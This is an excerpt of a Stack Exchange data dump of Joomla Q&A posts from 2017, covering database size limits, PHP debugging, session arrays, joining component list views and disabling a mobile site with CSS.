  <row Id="21409" PostTypeId="2" ParentId="21385" CreationDate="2017-08-25T06:07:15.237" Score="1" Body="&lt;p&gt;Seems that the root cause of the problem is your InnoDB tables hitting the maximum size. Check the value of the &lt;code&gt;innodb_data_file_path&lt;/code&gt; variable in your &lt;code&gt;my.cnf&lt;/code&gt; file and increase it accordingly. Alternatively, you can set the value of &lt;code&gt;innodb_file_per_table&lt;/code&gt; to 1 in your &lt;code&gt;my.cnf&lt;/code&gt;, but beware &lt;a href=&quot;https://www.percona.com/blog/2015/02/24/mysqls-innodb_file_per_table-slowing/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this may come at a cost&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have any control over your &lt;code&gt;my.cnf&lt;/code&gt; file, then you should talk to your host about it. I would say that most likely they will advise you to upgrade to a higher, more expensive, plan.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-08-25T06:07:15.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21410" PostTypeId="2" ParentId="21404" CreationDate="2017-08-25T06:10:54.590" Score="1" Body="&lt;p&gt;Have you tried echoing anything instead of the &lt;code&gt;var_dump&lt;/code&gt;? For example, you can have something like &lt;code&gt;echo('here');&lt;/code&gt; or &lt;code&gt;die('here');&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the likely issue is that your code is not even reaching the &lt;code&gt;var_dump&lt;/code&gt; line, and that's why it's not printing the variable.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-08-25T06:10:54.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21411" PostTypeId="2" ParentId="21403" CreationDate="2017-08-25T06:14:56.753" Score="1" Body="&lt;p&gt;If the module is putting pressure on the database server, then it would be a good idea to address that. In any case, one way of doing this is to assign the module to a single menu item with an almost blank template (the template only has one position, which is the position of the module), and then load the page that the menu item points to in an iframe.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-08-25T06:14:56.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21412" PostTypeId="2" ParentId="21345" CreationDate="2017-08-25T06:28:34.237" Score="0" Body="&lt;p&gt;I am almost 100% positive that this is ModSecurity. Check the ModSecurity log on your server and try whitelisting the rule that is being triggered. If you can't do that (possibly because you are on a shared host), then ask your host to do that for you, if they won't, then move to a VPS with root access and do it yourself.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-08-25T06:28:34.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21413" PostTypeId="1" AcceptedAnswerId="21444" CreationDate="2017-08-25T10:54:23.070" Score="2" ViewCount="1527" Body="&lt;p&gt;On a pretty new site, something has happened that has caused articles to give following error message upon saving (on frontend only)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Save failed with the following error: Invalid Parent ID&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In search for a solution, I found that one reason for the error is that the category tree structure has gotten messed up for some reason and there seems to be many solutions. I first tried the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Rebuild all menu item&lt;/li&gt;&#xA;&lt;li&gt;Rebuild all categories&lt;/li&gt;&#xA;&lt;li&gt;Refresh all categories by edit and save/close&lt;/li&gt;&#xA;&lt;li&gt;Refresh all articles by edit and save/close&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As otherwised explained in this article:&#xA;&lt;a href=&quot;https://www.joomla-tips.org/joomla-troubleshooter/save-failed-with-the-following-error-invalid-parent-id.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomla-tips.org/joomla-troubleshooter/save-failed-with-the-following-error-invalid-parent-id.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Iv'e also tried to create a temporary category and move all categories under it and back to root as explained in this article:&#xA;&lt;a href=&quot;https://www.itsupportguides.com/knowledge-base/joomla-tips/joomla-save-failed-with-the-following-error-invalid-parent-id/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.itsupportguides.com/knowledge-base/joomla-tips/joomla-save-failed-with-the-following-error-invalid-parent-id/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However none of this seems to work. It is only when editing or creating articles on frontend I get this error message. Never been a issue when doing the same on backend, where it saves without any error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last thing I tried was to install the ACL Manager extension which also has a diagnostic tool to fix issues with assets tables. One was detected with com_category. However fixing it didn't solve it either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="9835" LastActivityDate="2018-07-04T09:43:43.990" Title="Article save error: Invalid Parent ID (Frontend)" Tags="|joomla-3.x|articles|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21414" PostTypeId="1" AcceptedAnswerId="21418" CreationDate="2017-08-25T14:24:07.773" Score="0" ViewCount="2022" Body="&lt;p&gt;This will change a variable in the session&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$session-&amp;gt;set('name', &quot;value&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But could you in the same way (directly) change any specific value of a session array?&lt;/p&gt;&#xA;" OwnerUserId="7457" LastEditorUserId="12352" LastEditDate="2019-10-02T20:50:51.817" LastActivityDate="2019-10-03T05:50:49.497" Title="Change Value In Session Array" Tags="|php|session|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21415" PostTypeId="2" ParentId="21404" CreationDate="2017-08-25T19:10:08.710" Score="3" Body="&lt;p&gt;Sometimes there are subsequent actions that take away the focus without displaying the var_dump statement. There are two ways I use to view debug information in these conditions. First you can follow your var_dump statement with an exit() statement. Include a string if you need to know which exit statement was used (ie: exit('here'). The other option is to display the variable in a Joomla message instead: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage(JText::_('SOME_ERROR_OCCURRED'), 'error');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Between these two solutions (and var_dump and echo) you can always get the debug info you need.&lt;/p&gt;&#xA;" OwnerUserId="11406" LastActivityDate="2017-08-25T19:10:08.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21416" PostTypeId="1" CreationDate="2017-08-25T20:35:52.827" Score="1" ViewCount="1395" Body="&lt;p&gt;I know this is a broad question but I really need to ask it.  I started using Joomla a long time ago, and I have build a pretty extensive system that is highly used but I never liked the way I did it.  Now I am trying to be more professional and I think it is really time to change, but I can't seem to figure out the proper workflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the basics I need is that i have to create an entire website with dynamic databasing content on each page.  I need each page to have it's own nice-looking URL.  like www.mysite.com/cool-page, www.mysite.com/category/other-page etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also need to have PHP scripts to answer AJAX calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I have been doing it so far is that I create an article for each page, and link each article to a menu item.  This was the only way I could find to linking each article to a nicely-formed URL with slug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I need PHP in the pages I installed directPHP and inserted my PHP directly into articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For AJAX scripts to return the AJAX requests I just made another folder in the web folder and put stand-alone PHP files. I could not put these scripts in articles because often the extra content that was loaded would cause problems for me.  I needed just a clean RESTish script there to answer requests. I had to put in my own security code to make sure only users with correct permissions get access etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this all seems so hacky to me, recently I have been doing new projects in django which has many straight-forward docs about how to setup this scheme the right way, linking URLs to back-end scripts (of course this uses python).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I'm just wondering how I am to do this &quot;the right way&quot; in joomla?&lt;/strong&gt;  How do I get complete control over the URLs and content without having to like menu-items to articles this way?&lt;/p&gt;&#xA;" OwnerUserId="390" LastActivityDate="2017-08-29T06:03:56.740" Title="How to correctly create dynamic content for Joomla?" Tags="|articles|custom-component|url|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21418" PostTypeId="2" ParentId="21414" CreationDate="2017-08-26T15:02:54.820" Score="0" Body="&lt;p&gt;I guess you mean to change the value of a key of a JSession property that is an array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have set your session property somewhere earlier&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$mySessionVar = array('a'=&amp;gt;'a', 'b'=&amp;gt;'b');&#xA;$session-&amp;gt;set('mySessionVar', $mySessionVar);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you want to change that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;// You get that property&#xA;$mySessionVar = $session-&amp;gt;get('mySessionVar');&#xA;&#xA;// It's an array. So you change the value for the array key&#xA;$mySessionVar['b'] = 'c';&#xA;&#xA;// You set/update the same session variable&#xA;$session-&amp;gt;set('mySessionVar', $mySessionVar);&#xA;&#xA;// Now it holds the new data&#xA;$myNewSessionVar = $session-&amp;gt;get('mySessionVar');&#xA;&#xA;//echo '&amp;lt;pre&amp;gt;' . print_r($myNewSessionVar, true) . '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-12-13T17:31:44.487" LastActivityDate="2017-12-13T17:31:44.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21419" PostTypeId="1" CreationDate="2017-08-27T08:43:14.423" Score="0" ViewCount="34" Body="&lt;p&gt;I'm trying to build a custom form without any extension. And to do this I need to add a PHP form processor file in template &lt;code&gt;templates/mytemplate/form/process.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it secure to add and call form processor from the Joomla! Template?&lt;/p&gt;&#xA;" OwnerUserId="11474" LastActivityDate="2017-08-29T05:48:11.287" Title="Is it secure to add PHP Form processor in template?" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21420" PostTypeId="1" CreationDate="2017-08-27T18:49:52.320" Score="1" ViewCount="57" Body="&lt;p&gt;I have a Category Blog Menu Item where I have chosen all articles with category News to be displayed and layed out how I like. However, by creating just one Category Blog menu item on my site, now all categories can be viewed by manipulating the URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I go to the URL &lt;code&gt;www.site.com/news/18-bsm&lt;/code&gt;, it shows articles with my BSM category, where 18 is the category's ID. I only want my Category Blog to allow users to access articles under the News category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While there are no links to these other category URLs in my site, they still exist and are showing up in my site's search results. Is there any way to disable these other categorys from being accessed this way? Such as a way to only allow users to access the article content through menu links, not through this URL manipulation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Jooma 3.6.5 by the way. &lt;/p&gt;&#xA;" OwnerUserId="11477" LastEditorUserId="11477" LastEditDate="2017-08-28T15:35:09.603" LastActivityDate="2017-08-28T15:35:09.603" Title="Category Blog Allows Viewing of all Categories" Tags="|joomla-3.6|category|search|category-blog|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21422" PostTypeId="2" ParentId="21403" CreationDate="2017-08-28T15:02:29.710" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;my module is custom image slider. in those having 4-5 image with title and description tag and it's come full width on side. due to we need to upload 1200x650 resolution big image so it's look pretty. but due to that it's take long time to load on site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;1) change to a slider extension which supports &quot;lazy image load&quot; (unite revolution slider for example)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/9667631/how-lazy-loading-images-using-javascript-works&quot;&gt;More about lazy loading: https://stackoverflow.com/questions/9667631/how-lazy-loading-images-using-javascript-works&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) compress your images with 60-80% quality in JPG-format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) use caching / optimize your website ( &lt;a href=&quot;https://www.jch-optimize.net/87-documentation/tutorials/100-how-to-prevent-the-plugin-cache-from-over-growing.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.jch-optimize.net/87-documentation/tutorials/100-how-to-prevent-the-plugin-cache-from-over-growing.html&lt;/a&gt; )&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-08-28T15:02:29.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21423" PostTypeId="1" AcceptedAnswerId="21424" CreationDate="2017-08-28T15:31:53.093" Score="0" ViewCount="212" Body="&lt;p&gt;I have a front end list view for a table called &lt;em&gt;#_students&lt;/em&gt; and a separate front end list view for a table called &lt;em&gt;#_sessions&lt;/em&gt;. The two tables have no shared foreign key and the two data sets are completely unrelated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to display the data from both tables in the same list view, in the following manner:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;session 1&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;student 1&lt;/li&gt;&#xA;&lt;li&gt;student 2&lt;/li&gt;&#xA;&lt;li&gt;student 3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;session 2&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;student 1&lt;/li&gt;&#xA;&lt;li&gt;student 2&lt;/li&gt;&#xA;&lt;li&gt;student 3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;session 3&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;student 1&lt;/li&gt;&#xA;&lt;li&gt;student 2&lt;/li&gt;&#xA;&lt;li&gt;student 3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The point of this is that eventually, I want to add radio buttons next to each student name under each session name and allow the front end user to assign certain students to certain sessions. Upon clicking a 'submit' button, the results will be written to a third table, &lt;em&gt;#_orders&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trouble is, all of the articles I can find on joining two list views assume there is a shared key between the two tables and suggest using an SQL join. I do not have a shared key. Should I look into SQL join or can I do two separate SQL queries within the same model?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the key functions from &lt;em&gt;models/sessions.php&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function __construct($config = array())&#xA;    {&#xA;        if (empty($config['filter_fields']))&#xA;        {&#xA;            $config['filter_fields'] = array(&#xA;                'id', 'a.id',&#xA;                'ordering', 'a.ordering',&#xA;                'state', 'a.state',&#xA;                'created_by', 'a.created_by',&#xA;                'modified_by', 'a.modified_by',&#xA;                'date', 'a.date',&#xA;                'time', 'a.time',&#xA;                'title', 'a.title',&#xA;                'teacher', 'a.teacher',&#xA;                'lvl', 'a.lvl',&#xA;                'notes', 'a.notes',&#xA;                'jr', 'a.jr',&#xA;                'cap', 'a.cap',&#xA;                'att', 'a.att',&#xA;                'sid', 'a.sid',&#xA;            );&#xA;        }&#xA;        parent::__construct($config);&#xA;    }&#xA;&#xA;    protected function getListQuery()&#xA;    {&#xA;        // Create a new query object.&#xA;        $db    = $this-&amp;gt;getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        // Select the required fields from the table.&#xA;        $query&#xA;            -&amp;gt;select(&#xA;                $this-&amp;gt;getState(&#xA;                    'list.select', 'DISTINCT a.*'&#xA;                )&#xA;            );&#xA;&#xA;        $query-&amp;gt;from('`#__merakiac_sessions` AS a');&#xA;&#xA;        // Join over the users for the checked out user.&#xA;        $query-&amp;gt;select('uc.name AS uEditor');&#xA;        $query-&amp;gt;join('LEFT', '#__users AS uc ON uc.id=a.checked_out');&#xA;&#xA;        // Join over the created by field 'created_by'&#xA;        $query-&amp;gt;join('LEFT', '#__users AS created_by ON created_by.id = a.created_by');&#xA;&#xA;        // Join over the created by field 'modified_by'&#xA;        $query-&amp;gt;join('LEFT', '#__users AS modified_by ON modified_by.id = a.modified_by');&#xA;&#xA;        return $query;&#xA;    }&#xA;&#xA;    public function getItems()&#xA;    {&#xA;        $items = parent::getItems();&#xA;        return $items;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are the key functions from &lt;em&gt;models/students.php&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct($config = array())&#xA;{&#xA;    if (empty($config['filter_fields']))&#xA;    {&#xA;        $config['filter_fields'] = array(&#xA;            'id', 'a.id',&#xA;            'ordering', 'a.ordering',&#xA;            'state', 'a.state',&#xA;            'created_by', 'a.created_by',&#xA;            'modified_by', 'a.modified_by',&#xA;            'parent', 'a.parent',&#xA;            'name', 'a.name',&#xA;            'lvl', 'a.lvl',&#xA;            'jr', 'a.jr',&#xA;        );&#xA;    }&#xA;    parent::__construct($config);&#xA;}&#xA;&#xA;protected function getListQuery()&#xA;{&#xA;    // Create a new query object.&#xA;    $db    = $this-&amp;gt;getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    // Select the required fields from the table.&#xA;    $query&#xA;        -&amp;gt;select(&#xA;            $this-&amp;gt;getState(&#xA;                'list.select', 'DISTINCT a.*'&#xA;            )&#xA;        );&#xA;&#xA;    $query-&amp;gt;from('`#__merakiac_student` AS a');&#xA;&#xA;    // Join over the users for the checked out user.&#xA;    $query-&amp;gt;select('uc.name AS uEditor');&#xA;    $query-&amp;gt;join('LEFT', '#__users AS uc ON uc.id=a.checked_out');&#xA;&#xA;    // Join over the created by field 'created_by'&#xA;    $query-&amp;gt;join('LEFT', '#__users AS created_by ON created_by.id = a.created_by');&#xA;&#xA;    // Join over the created by field 'modified_by'&#xA;    $query-&amp;gt;join('LEFT', '#__users AS modified_by ON modified_by.id = a.modified_by');&#xA;&#xA;    // Join over the created by field 'parent'&#xA;    $query-&amp;gt;join('LEFT', '#__users AS parent ON parent.id = a.parent');&#xA;&#xA;    return $query;&#xA;}&#xA;&#xA;public function getItems()&#xA;{&#xA;    $items = parent::getItems();&#xA;&#xA;&#xA;    return $items;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the &lt;em&gt;site/views/sessions/tmpl/default.php&lt;/em&gt; (and it still needs work as I will need to somehow nest students' foreach loop within sessions' foreach loop):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_merakiac&amp;amp;view=sessions'); ?&amp;gt;&quot; method=&quot;post&quot;&#xA;      name=&quot;adminForm&quot; id=&quot;adminForm&quot;&amp;gt;&#xA;&#xA;   &amp;lt;table&amp;gt;&#xA;    &amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $item) : ?&amp;gt;&#xA;        &amp;lt;?php echo $item-&amp;gt;fieldnames; ?&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;   &amp;lt;/table&amp;gt;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_merakiac&amp;amp;view=students'); ?&amp;gt;&quot; method=&quot;post&quot;&#xA;      name=&quot;adminForm&quot; id=&quot;adminForm&quot;&amp;gt;&#xA;&#xA;   &amp;lt;table&amp;gt;&#xA;    &amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $item) : ?&amp;gt;&#xA;        &amp;lt;?php echo $item-&amp;gt;fieldnames; ?&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;   &amp;lt;/table&amp;gt;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can somebody help me out with how to combine &lt;em&gt;students.php&lt;/em&gt;'s SQL query into &lt;em&gt;sessions.php&lt;/em&gt;'s SQL query and display the results of both in &lt;em&gt;sessions/default.php&lt;/em&gt;? Is it even the SQL query which I must modify or the &lt;code&gt;getItems()&lt;/code&gt; function? Do I even need  the &lt;code&gt;__construct($config = array())&lt;/code&gt; function? I am new to Joomla and its SQL syntax. Any help would be greatly appreciated. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="10936" LastActivityDate="2017-08-28T17:01:20.653" Title="Join two list views without a shared key" Tags="|joomla-3.x|component|mysql|view|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21424" PostTypeId="2" ParentId="21423" CreationDate="2017-08-28T17:01:20.653" Score="1" Body="&lt;p&gt;All roads lead to Rome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are new to Joomla, I recommend to read this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you can get a good idea how Joomla components work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Back to your question / problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would do it the simple way and load the students model into the sessions view (default.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::import('joomla.application.component.model');&#xA;JLoader::import( 'students', JPATH_SITE . DS . 'components' . DS . 'com_merakiac' . DS . 'models' );&#xA;$model= JModelLegacy::getInstance('students','MerakiacModel');&#xA;$student_items = $model-&amp;gt;getItems();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use the array if $student_items within you session item loop.&#xA;If the output for the students never changes, I would loop through the student items and build the html before I loop the session items, this will save performance.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-08-28T17:01:20.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21425" PostTypeId="2" ParentId="21413" CreationDate="2017-08-28T19:52:14.107" Score="2" Body="&lt;p&gt;Maybe you are using Falang component? In my case only soultions was update PHP to 7.0 or 7.1&#xA;This problem exists since of Joomla 3.7.3 - it's all I know...&lt;/p&gt;&#xA;" OwnerUserId="11479" LastActivityDate="2017-08-28T19:52:14.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21426" PostTypeId="2" ParentId="536" CreationDate="2017-08-28T22:56:28.227" Score="1" Body="&lt;p&gt;Have a look at this extension for Virtuemart:&#xA;&lt;a href=&quot;https://store.webkul.com/Joomla-Virtuemart-Point-Of-Sale-POS-System.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://store.webkul.com/Joomla-Virtuemart-Point-Of-Sale-POS-System.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11480" LastActivityDate="2017-08-28T22:56:28.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21427" PostTypeId="2" ParentId="21419" CreationDate="2017-08-29T05:48:11.287" Score="1" Body="&lt;p&gt;This really depends on what you have in the &lt;code&gt;process.php&lt;/code&gt; file, and whether you are using proper filtering for user input or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, maintaining such a form is not fun, especially if the one maintaining it is not you. I suggest you use a real form builder such as RS Forms, which allows you to do almost anything form-building and form-processing wise.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-08-29T05:48:11.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21428" PostTypeId="2" ParentId="21416" CreationDate="2017-08-29T06:03:56.740" Score="1" Body="&lt;p&gt;You don't need to create a menu item for each article. All you need to do is to create a menu item pointing to a category blog (let's call it news), and then assign the newly created article to that category. So, if the article has an alias (slug) of 'my-article' and if that article has an ID of 3, then the link will be (if you are using Joomla's SEF): &lt;code&gt;news/3-my-article.html&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alias (slug) of an article is generated by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Transforming everything in the article title to lowercase.&lt;/li&gt;&#xA;&lt;li&gt;Replacing any non-alphanumeric characters to a hyphen.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-08-29T06:03:56.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21430" PostTypeId="1" CreationDate="2017-08-29T11:55:21.533" Score="1" ViewCount="176" Body="&lt;p&gt;Joomla 3.7.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default values of both are 15 minutes, which means I have to re-login very often. So I always change it to 60. But I have been aware since long time ago, that when they are set to 60, I almost don't need to relog. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, last night I went to sleep without shutting down my computer, and I was on the back-end page before going to bed. But this morning I can do anything without having to go back to login page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically, shouldn't the session only last 60 minutes?&lt;br&gt;&#xA;And I suppose this is for all users. My website doesn't have any other user at the moment, but I'd like to know, how to set this only for the Super User?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="126" LastEditDate="2017-09-09T16:47:33.817" LastActivityDate="2017-09-09T16:47:33.817" Title="Setting: Session lifetime and Cache time" Tags="|joomla-3.x|cache|session|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21433" PostTypeId="1" CreationDate="2017-08-29T20:09:10.173" Score="0" ViewCount="792" Body="&lt;p&gt;Disclaimer: I've never used Joomla before logging in today and I haven't done any kind of web design in over a decade.  I know software development, but these Joomla configs are definitely foreign to me right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to help a school out by temporarily disabling their mobile view\site.  I've looked for help on Joomla, but they either reference a mobile plugin or setting in the Global configs.  I don't see anything mobile related in either of those.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would love some direction here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11486" LastActivityDate="2017-08-29T22:02:47.643" Title="Disable Mobile Site" Tags="|joomla-3.7|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21434" PostTypeId="2" ParentId="21433" CreationDate="2017-08-29T20:26:33.630" Score="1" Body="&lt;p&gt;If you want to keep things very simple, you can use a CSS media query to hide everything on the site to device below a certain viewport width.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using Joomla's default Protostar template, then create a new file called &lt;code&gt;user.css&lt;/code&gt; and add the following code to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media (max-width: 767px) {&#xA;   html, * { display: none !important }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once done, upload this CSS file to the following directory:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;templates/protostar/css/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you're using a different template, then it will most likely have a &lt;code&gt;custom.css&lt;/code&gt; file associated with it instead. So you can add the above code to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, this is a basic solution. If you wish to actually detect a mobile device, you can either user Javascript or PHP.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-08-29T20:26:33.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21435" PostTypeId="2" ParentId="21433" CreationDate="2017-08-29T22:02:47.643" Score="1" Body="&lt;p&gt;If you ftp into the site, your template code is going to be under the &lt;code&gt;templates&lt;/code&gt; folder.  You can find which specific template is being used by going in the admin to &lt;code&gt;Extensions &amp;gt; Templates &amp;gt; Templates&lt;/code&gt;.  There should be a subfolder with an appropriate name in the &lt;code&gt;templates&lt;/code&gt; folder.  This contains your template files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your site is responsive (ie the mobile version is generated using css media queries rather than redirecting to a completely different template), then you should be able to find and comment out any media queries in the css files.  CSS files are likely to be under a &lt;code&gt;css&lt;/code&gt; folder within this template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Media queries look like &lt;code&gt;@media (max-width: 800px)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could alternatively add/override a &lt;a href=&quot;https://developer.mozilla.org/en/docs/Mozilla/Mobile/Viewport_meta_tag&quot; rel=&quot;nofollow noreferrer&quot;&gt;viewport meta tag&lt;/a&gt; in the &lt;code&gt;index.php&lt;/code&gt; file in order to to tell mobile devices to always display the site at the same width, which would be a quick fix if it is responsive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the site is adaptive (ie it loads a completely different template), then you may be best doing a case insensitive search for terms like &quot;iphone&quot; in the template files.  If this 